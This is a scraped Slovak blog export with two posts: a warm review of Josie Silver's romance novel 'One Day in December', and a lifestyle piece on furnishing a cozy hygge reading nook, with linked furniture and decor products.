style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="611" data-original-width="815" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixXK4IIKKpS2MrZZWmg_qqHaq9F9BjfRKvbU-6yMWIzxdutPY3cFMfQAeGLI9wE7MKUZGY_K-pRsIDjmhrP4I4VkUxQcP5vK8JgVeaO9jLHOLtp5Yfq_1DpxmR6xHC077PyT0l5rgSZU8a/s16000/kniha-jedneho-dna-v-decembri-recenzia-blog-1.jpg" /></a></div><br /><p style="text-align: justify;">Veríte v lásku na prvý pohľad? Čo by ste robili, ak by ste ju jedného dňa nečakane našli alebo presnejšie, ak by ste ju nečakane uvideli? A čo ak by <b>láska na prvý pohľad</b> bola vzdialená len niekoľko metrov a vy by ste ju iba na krátky okamih zazreli napríklad cez sklo autobusu na nekonečne dlhej ceste domov? Vystúpili by ste a vykročili by ste jej v ústrety? Alebo by ste podľahli pochybnostiam natoľko, že rozum by vaše srdce jednoznačne umlčal a vy by ste jednoducho iba pokračovali ďalej po svojej ceste? </p><p style="text-align: justify;"></p><blockquote><span style="font-size: large;"><b>Laurie</b> takýto <b>príbeh už zažila</b>. Keď cestou domov cez zarosené okno autobusu, iba na krátku chvíľu, zbadala sympatického pekného mladého muža. Čaro okamihu v zasneženom Londýne, <b>jedného dňa v decembri</b>. </span></blockquote><p></p><p style="text-align: justify;">A hoci si bola celkom istá, že láska na prvý pohľad nikde inde ako vo filmoch neexistuje, keď sa ich oči stretli, stalo sa. <b>Okamih čistého očarenia</b>, kedy sa Laurie na prvý pohľad zamilovala a okamžite bola presvedčená, že <b>záhadný neznámy na zastávke autobusu</b> je ten pravý...</p><p style="text-align: justify;"><span style="font-size: large;"><i>„Od dnešného dňa budem na otázku, či som zažila lásku na prvý pohľad, odpovedať, že áno, v jednu nádhernú minútu dvadsiateho prvého decembra roku dvetisícosem.“ s.13</i> </span></p><p style="text-align: justify;">Ibaže presne v tejto magickej chvíli jej autobus už odchádza. Nasleduje <b>rok hľadania</b>. Rok nádeje v osudovú predurčenosť, že sa so záhadným cestujúcim určite znovu stretnú. <b>Rok pátrania</b> a skenovania každej zastávky autobusu, či kaviarne v Londýne, veď čo ak by tam niekde bol ON? </p><p style="text-align: justify;">Ako čas plynie a ani po dlhých mesiacoch ho stále nikde nenachádza, zdá sa, že už na tom ani až natoľko nezáleží a že celé to je už iba akýsi stereotyp, s ktorým sa ťažko rozlúčiť, pretože hľadanie neznámeho so sebou nakoniec prináša aj celkom dosť zábavy. Namiesto toho, keď ani po takmer roku hľadania, Laurie stále nemala to šťastie záhadného neznámeho nájsť, sa nakoniec <b>predsa znovu stretnú</b>. Práve vtedy, keď to v podstate už vzdá, jej <b>najlepšia kamarátka Sarah</b>, s ktorou absolvovala celé takmer to ročné pátranie, <b>na vianočnom večierku predstaví Jacka</b>, svojho nového priateľa. Jacka, <b>muža z autobusu, ktorého Laurie hľadala</b>. </p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyc7e2IEsEA2PYjK-L7zfWG_Fp1X8vejs-MP8hJRD1Odw9niCQaTBI7aQvwnsfHIsNBGNrf2tP7k7tDlKo323blqIdm01mYckbAH-Pe8iV9qJdnT5T56YaZ0AxvdkzWCHdZiKqjXAbiAtu/s2048/kniha-jedneho-dna-v-decembri-josie-silver.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyc7e2IEsEA2PYjK-L7zfWG_Fp1X8vejs-MP8hJRD1Odw9niCQaTBI7aQvwnsfHIsNBGNrf2tP7k7tDlKo323blqIdm01mYckbAH-Pe8iV9qJdnT5T56YaZ0AxvdkzWCHdZiKqjXAbiAtu/w640-h480/kniha-jedneho-dna-v-decembri-josie-silver.jpg" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjLkbuZRrs7F0wcFM94ZefQUjdC_iTc55J2_jbd6LSRnmJsvU8VWVow5wUtvZ7JGORm5-pMER3N6J947GSvVWLd8O5__nztRslY9EAOuhzUBnb9t2I57W4w-NQHneLEop2jJaD99LcwDFD/s2048/kniha-jedneho-dna-v-decembri-pribeh-recenzia.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjLkbuZRrs7F0wcFM94ZefQUjdC_iTc55J2_jbd6LSRnmJsvU8VWVow5wUtvZ7JGORm5-pMER3N6J947GSvVWLd8O5__nztRslY9EAOuhzUBnb9t2I57W4w-NQHneLEop2jJaD99LcwDFD/w640-h480/kniha-jedneho-dna-v-decembri-pribeh-recenzia.jpg" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWwTSLiGT0HPhmGYd54mGbGuTGZ7chGR2xBjWlLnv5_DfGao7ytfz4dncBqh9j-Iq5JXGhjjMjvDVav-LRozAZEehGLryfDdNqs7VP2XdGXWsO772-qIGfgWIcZ0rRx1dq9LYXyXC6cH5U/s2048/kniha-jedneho-dna-v-decembri-josie-silver-recenzia.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWwTSLiGT0HPhmGYd54mGbGuTGZ7chGR2xBjWlLnv5_DfGao7ytfz4dncBqh9j-Iq5JXGhjjMjvDVav-LRozAZEehGLryfDdNqs7VP2XdGXWsO772-qIGfgWIcZ0rRx1dq9LYXyXC6cH5U/w640-h480/kniha-jedneho-dna-v-decembri-josie-silver-recenzia.jpg" width="640" /></a></div><br /><p style="text-align: justify;">Nasledujúci príbeh postupne prechádza rokmi. Presnejšie <b>10-tkou rokov</b>, sledujúc <b>príbeh priateľstva Laurie, Sarah a Jacka</b>, počas ktorých Laurie a Jack striedavo zápasia s emóciami, navzájom si vzťahy komplikujú, zatiaľ čo ten svoj sa maximálne usilujú udržať na platonickej čisto kamarátskej úrovni potláčajúc volania svojich túžiacich sŕdc. V príbehu sledujeme 3 dojímavé i radostné príbehy lásky, priateľstva, podporené nádejou, tajnými želaniami a očakávania od života hlavných postáv. Postavy rastú, vyvíjajú sa, snažia sa robiť správne veci, pre ktoré často musia opustiť pohodlie svojej komfortnej zóny, aby skutočne dozreli. <b>Tri navzájom prepojené no celkom odlišné životy</b>, plynúce lepšími i horšími dňami, so všetkým vrcholmi i pádmi, nečakanými výzvami a ťažkými rozhodnutiami, premárnenými príležitosťami i zlomenými srdciami ...<i><span style="font-size: large;">„niekoľko minút zostaneme v objatí sedieť na lavičke a hľadíme, ako z polnočnej oblohy padajú prvé snehové vločky. Nemusíme si vracať prstene, nemusíme sa naťahovať o majetok, nemusíme si odovzdávať deti na veterných parkoviskách. Sme iba dvaja ľudia, ktorých životné cesty sa rozchádzajú.“ s. 211</span></i>. </p><b>Originálny názov:</b> One day in december<br /><b>Autor:</b> Josie Silver<br /><b>Vydavateľstvo:</b> <a href="https://www.fortunalibri.sk/" target="_blank">Fortuna Libri</a><br /><b>Rok vydania:</b> november, 2018<br /><b>Počet strán:</b> 384<br /><b>Bežná predajná cena:</b> 13,90 €<br /><b>Žáner/doba:</b> romantická beletria zo súčasnosti<h4 style="text-align: justify;">Záverečné zrhnutie:</h4><p style="text-align: justify;"><a href="https://www.fortunalibri.sk/collections/beletria-pre-dospelych/products/jedneho-dna-v-decembri" target="_blank">Jedného dňa v decembri</a> je nádherný dojímavý <b>príbeh otvorenosti a úprimnosti lásky</b> aj priateľstva. Na prvý pohľad sa môže zdať, že je to len ďalší romanticky ladený príbeh ako mnohé iné podobné. Zakázaná láska Laurie a Jacka, ktorých to k sebe nemálo rokov veľmi priťahuje. <i><span style="font-size: large;">„Musím zo života vytrhať korene, ktoré doň zapustil Jack O´Mara. Stal sa priveľkou súčasťou môjho vnútra a ja som sa stala súčasťou jeho vnútra. Pri vytrhávaní koreňov sa občas stane, že zabijete celú rastlinu, no to riziko musím podstúpiť. V záujme môjho manželstva. V záujme nás všetkých.“ s.313</span></i> Príbeh nie presladený, je uveriteľný a zaujímavo <b>vyrozprávaný z pohľadu oboch strán</b>. Pohltil ma natoľko, že som si, postupne ako sa strany v knihe míňali, počas čítania neustále uvedomovala, že <b>chcem čítať viac</b>. A že ešte vôbec <b>nechcem, aby už príbeh skončil</b>, ale celkom rada by som vedela ako sa ich životy budú vyvíjať aj naďalej. Krásne oddychové čítanie, ktorého dej by som veľmi rada videla aj vo filmovom spracovaní. </p><p style="text-align: justify;"><b>Jedného dňa v decembri</b> už na pohľad upúta pozornosť krásnou obálkou, ktorá samotný obsah aj veľmi dobre vystihuje. Je to ten typ knihy, po ktorej siahnete kľudne aj opakovane. Ak máte radi takto ladené príbehy, táto kniha je pre vás povinným čítaním na mrazivé večery, zasnežené víkendy, ale najmä cez vianočné sviatky :) toto čítanie <b>pohladí na duši </b>a<b> zahreje pri srdci</b>.</p><p style="text-align: right;">✍🏻 <i>by Veve</i></p>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-80573942290213707722020-11-16T19:07:00.010+01:002020-11-18T11:13:26.341+01:00Vysnívaný HYGGE kútik<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEn1mdl8kmr4ktqVJCDhg7nZweMMlWim7p74yCxkHUVe-ZMvaQVbEibrx3j1hNwoZyjIrqggsGPvfaPXmyv-5wlb9TfDrlo4iOFJBhJKCJLBz9QtFR7TjAfUWce_TDbAElPtCSIqNhA-6E/s814/vysnivany-hygge-kutik_1.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="542" data-original-width="814" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEn1mdl8kmr4ktqVJCDhg7nZweMMlWim7p74yCxkHUVe-ZMvaQVbEibrx3j1hNwoZyjIrqggsGPvfaPXmyv-5wlb9TfDrlo4iOFJBhJKCJLBz9QtFR7TjAfUWce_TDbAElPtCSIqNhA-6E/s16000/vysnivany-hygge-kutik_1.jpg" /></a></div><br /><div class="separator" style="clear: both; text-align: justify;">Máte svoje <b>vysnívané kreslo alebo kútik</b>, v ktorom sa vám dobre relaxuje, iba tak príjemne sa v ňom sedí, nostalgicky spomína alebo naopak milosrdne zabúda? <b>Útulné miesto</b>, kde čaj chutí lepšie a káva nabíja neuveriteľnou energiou? Miesto, kde ticho lieči, ale hudba znie až do hĺbky duše? Príjemný kútik, ktorý <b>pozdvihuje dušu, poskytuje útočisko</b>, je neoddeliteľnou súčasťou pohodlia domova a plný pocitu bezpečia... Nie je to obývačka, spálňa, kúpeľňa ani kuchyňa, ale je to malý priestor, ktorý patrí len vám, dokonale <b>rezonuje s vaším vnútorným životom</b> a vždy, keď to potrebujete, vás privíta svojim teplom a naplní pocitom pokoja. Práve na tomto mieste neopísateľne cítite, že ste doma, pretože toto miesto je pre vás jedinečné a presne odzrkadľuje vaše predstavy, prináša pôžitok, úzko súvisí s atmosférou, bez špeciálneho očakávania jednoducho aktivuje pocit vnímania pohodlia a každučký jeho centimeter dokonale <b>napĺňa princípy hygge</b>. </div><p style="text-align: justify;"><span style="font-size: large;"></span></p><blockquote><span style="font-size: large;">„Hygge je pocit, že <b>patríme na miesto, ktoré sme si vytvorili</b>, že je naše a že máme právo sa v ňom na chvíľu usadiť. Toto hniezdenie nám prináša pocit útulnosti, ktorý sa s hygge spomína najčastejšie.“ <i>(Louisa Thomsen Brits)</i></span></blockquote><p></p><p style="text-align: justify;">Ešte počas minulej zimy, len tak niekedy počas kávičkových stretnutí, sme spolu s Lulu túto tému nahryzli a diskutovali sme o potrebách a prínosoch takéhoto vysoko privátneho priestoru uprostred inak útulných domácností, ktorý ako už sme vtedy zistili, vlastne ani jedna doma tak celkom nemáme, ale veľmi by sme chceli a presne vieme, ako by mal ideálne vyzerať. Nemusí bezvýhradne spĺňať nejaký dizajn či štýl, ale ak by bol <b>škandinávsky ladený,</b> tak by lahodil :) Tiež nemusí byť úplne minimalistický, i keď taký sa nám páči, ale mal by byť <b>zariadený funkčným a nadčasovým nábytkom</b> <b>s citlivo doladenými detailami</b> v podobe doplnkov a určite by mal byť dostatočne hyggelig, pretože <i><span style="font-size: large;">„...Hygge naopak vzniká vďaka úprimnosti vo veciach, ktorými sa človek obklopuje...“ (Christina B. Kjeldens).</span></i></p><p style="text-align: justify;">Každý rok, asi tak od druhej polovice októbra alebo najneskôr začiatkom novembra, sa väčšina našich voľných chvíľ a aktivít, často aj vďaka ukončeniu záhradných prác a prirodzene s príchodom sivých, zahmlených dní či skorého stmievania, presúva najmä do interiéru. I keď pravidelnejší čitateľ nášho blogu už určite vie, že obe toto obdobie milujeme úplne najviac, napriek tomu tento rok sme sa práve počas takýchto dní cítili o niečo viac unavenejšie, zľahka apatickejšie a akosi mrzutejšie pravdepodobne najmä vďaka častým výkyvom počasia a nedostatku jasných slnečných dní. A tak pod vplyvom takýchto okolností a možno aj vďaka aktuálnej pandemickej situácii sme sa k tejto téme vrátili a pokúsili sa posunúť o možno malý kúsok bližšie k zhmotneniu takto <b>vysnívaného kútika pre oddych</b>, dobytie „bateriek“ a načerpanie energie alebo ako správne knihomoľky, aj na pravidelné ulietavania fantázie cez nespočetné knižné príbehy...</p><p style="text-align: justify;">Niekoľko kľúčových slov a preklikov vo vyhľadávačoch ako <a href="https://www.biano.sk/" target="_blank">biano.sk</a> nás zaviedlo na miesto, kde sme našli asi všetko, čo sme dovtedy mali uložené vo svojich predstavách a takáto je nami vytvorená snová inšpirácia s <a href="http://bonami.sk">bonami.sk</a> :) Základom je <b>pohodlné kreslo, príručné stolíky</b> a minimálne <b>dva typy osvetlenia</b> využiteľné podľa nálady a potreby, nástenná <b>polica na knihy</b>, sviečky, suveníry a spomienky a <b>nevyhnutné doplnky</b> ako vankúše, deky, váza na dekorácie prinesené z potuliek prírodou.</p><p style="text-align: justify;"><br /></p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFVbhQiZMXkwXeBUb5iFbIxxzueqJpxmwYOB7LlmYcSlpa_hFzTvTLb4uypU_YPPal1AIjXy9WbFDEezsCl-KzFljJ4yMNbOBTDJFkTw_dfAc5TGzThlD9wctqvhk7u3wRJO_6voMscwl7/s800/bonami-biano-vysnivane-kreslo-nabytok.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="600" data-original-width="800" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFVbhQiZMXkwXeBUb5iFbIxxzueqJpxmwYOB7LlmYcSlpa_hFzTvTLb4uypU_YPPal1AIjXy9WbFDEezsCl-KzFljJ4yMNbOBTDJFkTw_dfAc5TGzThlD9wctqvhk7u3wRJO_6voMscwl7/w640-h480/bonami-biano-vysnivane-kreslo-nabytok.jpg" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><i><a href="https://www.biano.sk/produkty/kresla/farba/siva" target="_blank">sivé kreslo</a> Scandic Garda, <a href="https://www.bonami.sk/p/sada-2-odkladacich-stolikov-actona-ortiz-nest" target="_blank">stolíky</a> Actona Ortiz Nest, stolové <a href="https://www.bonami.sk/p/drevene-stolove-svietidlo-honeybee" target="_blank">svietidlo</a> Honeybee, <a href="https://www.bonami.sk/p/biely-vianocny-svietnik-z-kostneho-porcelanu-kahler-design-nobili-14-cm" target="_blank">svietnik</a> Kähler Design Nobili, <a href="https://www.bonami.sk/p/kremovo-zlta-vaza-vox-hola-vyska-25-5-cm" target="_blank">váza</a> Vox Hola, <a href="https://www.bonami.sk/p/obliecka-na-vankus-barsa-43x43-cm" target="_blank">žltý</a> vankúš Apolena Barsa a <a href="https://www.bonami.sk/p/sada-2-obojstrannych-obliecok-na-vankus-decoking-constellation-50-60-cm" target="_blank">modrý</a> DecoKing Constellation, hrejivý <a href="https://www.bonami.sk/p/sivy-pled-s-podielom-bavlny-euromant-sirk-140-x-180-cm" target="_blank">pléd</a> Euromant Sirk</i><br /></td></tr></tbody></table><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg40h0D0H9IHmdWasfGTUzN2VSaBWG2RET2gV66BCnaEgbStfZ9k8HnpMWZW-mnMbwmm5rJ0ReeM4cmJB3xTqhGbXOplxmXre6e1-hrYAazYhBc8BXTPh7rh_-k6tDMBbK3GYpJDllN2yi3/s800/bonami-biano-nabytok-doplnky.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="600" data-original-width="800" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg40h0D0H9IHmdWasfGTUzN2VSaBWG2RET2gV66BCnaEgbStfZ9k8HnpMWZW-mnMbwmm5rJ0ReeM4cmJB3xTqhGbXOplxmXre6e1-hrYAazYhBc8BXTPh7rh_-k6tDMBbK3GYpJDllN2yi3/w640-h480/bonami-biano-nabytok-doplnky.jpg" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><i><a href="https://www.bonami.sk/p/tmavomodra-stojacia-lampa-laitmotiv-mingle" target="_blank">stojacia lampa</a> Laitmotiv Mingle, <a href="https://www.bonami.sk/p/obraz-somcasa-triangulos-40-x-60-cm" target="_blank">obraz</a> Triangulos, príručná <a href="https://www.bonami.sk/p/kniznica-actona-seaford-vyska-91-cm" target="_blank">knižnica</a> Actona Seaford, nástenná <a href="https://www.bonami.sk/p/nastenna-dekoracia-graham-brown-bird-on-wire" target="_blank">dekorácia</a> Bird on Wire </i><br /></td></tr></tbody></table><br /><p style="text-align: justify;">Myslíme si, že ak ešte takéto privátne miesto doma nemáte, tak práve teraz intuitívne pochopíte <b>príťažlivosť konceptu hygge</b> a útulnosti, pre ktorú je dôležité. A možno tak ako my, aj vy si to svoje útočisko vysnívate, zvizualizujete a čoskoro aj vytvoríte :)</p><p style="text-align: right;"><i>✍🏻 by Veve & Lulu</i></p><p style="text-align: right;"><i><span style="font-size: x-small;">zdroj foto: pexels, bonami</span></i></p>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0